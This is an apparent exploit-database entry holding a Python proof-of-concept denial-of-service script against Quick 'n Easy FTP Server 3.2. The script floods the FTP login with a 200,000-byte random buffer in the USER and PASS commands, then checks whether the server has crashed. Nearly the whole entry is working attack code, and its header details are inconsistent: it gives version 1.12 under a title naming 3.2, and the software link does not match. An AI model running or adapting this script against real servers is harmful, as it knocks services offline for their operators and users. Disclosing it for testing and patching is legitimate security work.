发布 2011-02-28 漏洞条目

Quick ‘n Easy FTP Server 3.2 – Denial of Service

Exploit Source

# Exploit Title:[DOS LOGIN] Quick 'n Easy FTP Server 3.2

# Date:28/2/2011

# Author: clshack

# Software Link:

http://www.pablosoftwaresolutions.com/html/quick__n_easy_ftp_server.html<http://downstairs.dnsalias.net/homeftpserver.html>

# Version:1.12

# Tested on: windows xp sp3 en

# CVE :

#!/usr/bin/python

from ftplib import *

import random

import socket

def ping(host,port):

try:

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

connect=s.connect((host,port));

except Exception ,e :

print e

return 0;

s.close();

return 1;

host = "192.168.1.155"

port = 21

buffer="";

while(len(buffer)<200000):

buffer+=chr(int(random.uniform(0,255)))*2+"?";

try:

ftp=FTP();

ftp.connect(host,port);

ftp.sendcmd("USER "+buffer)

ftp.sendcmd("PASS "+buffer)

ftp.quit();

ftp.close();

sleep(int(random.uniform(0,2)))

except Exception, e:

print e

if not ping(host,port):

print "Dos in Login credentials \n"

exit(-1)

Twitter:clshackblog

相关漏洞条目